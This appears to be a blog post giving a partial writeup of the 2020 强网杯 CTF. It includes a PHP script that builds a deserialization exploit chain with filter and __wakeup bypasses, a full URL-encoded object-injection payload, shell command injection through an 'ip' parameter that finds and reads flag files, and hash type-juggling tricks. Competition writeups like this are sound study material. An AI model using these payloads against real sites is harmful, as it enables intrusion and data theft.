强网杯2020部分writeup

强网杯2020部分writeup

强网先锋 web辅助

给了源码那就直接审计源码,构造利用链:

1
2
3
4
5
6
7
8
9
10
<?php
require_once "common.php";
require_once "class.php";
$a = new topsolo(new midsolo(new jungle("Yasuo"))) ;
$b = serialize($a);
$b = str_replace("name","n\\61me",$b);
$b = str_replace("s:7:","S:7:",$b);
$b = str_replace("\"midsolo\":1","\"midsolo\":2",$b);
echo urlencode($b);
?>

这里需要注意以下,midsolo的__wakeup会把name强制变成Yasuo,利用经典CVE绕过

还有需要注意,name这个字符串被check()函数拦截了,所以需要利用hex绕过过滤,然后把小写的s改成大写,小写的s是不会把\61识别hex的。然后就是字符串溢出了,关于溢出多少这个在本地试了很久.

最终payload:

1
http://eci-2ze9cia09xafs2dqysyx.cloudeci1.ichunqiu.com/?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=ccc";s:8:"\0*\0admin";i:1;s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00n%5C61ee%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00n%5C61me%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00n%5C61me%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00n%5C61me%22%3Bs%3A5%3A%22Yasuo%22%3B%7D%7D%7D%7D

这样就结束了,成功getflag

强网先锋 主动

先利用;执行多条命令,先找一下flag在哪里

http://39.96.23.228:10002/?ip=0;find / -name fla*

找到了:

img

那么就直接读取:

http://39.96.23.228:10002/?ip=0;cat /var/www/html/fla*

这里用*是为了绕过正则表达式

查看源代码得到flag

img

强网先锋 upload

给了个wireshark的数据包很明显看到post到了一个图片,导出来。看到post的地址为/steghide.php还有一个hint:

1
<!--i use steghide with a good password-->

猜测应该是弱密码果然,打开kali,试了一下123456成功解开,

steghide extract -sf steghide.jpg

里面有flag.txt就是flag

强网先锋 Funhash

hash1的话需要爆破

跑了半个小时左右发现0e251288019的md4也是0e251288019那么hash1就成功了

到了hash2和hash3

/?hash1=0e251288019&hash2=&hash4=ffifdyop

我只传了hash2,那么hash2就是空字符串,hash3就是NULL,成功跳过第2关

第三关是参考了:https://blog.csdn.net/March97/article/details/81222922

成功getflag

至于其他的。。。 我太菜了,其他的都没做出来。

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!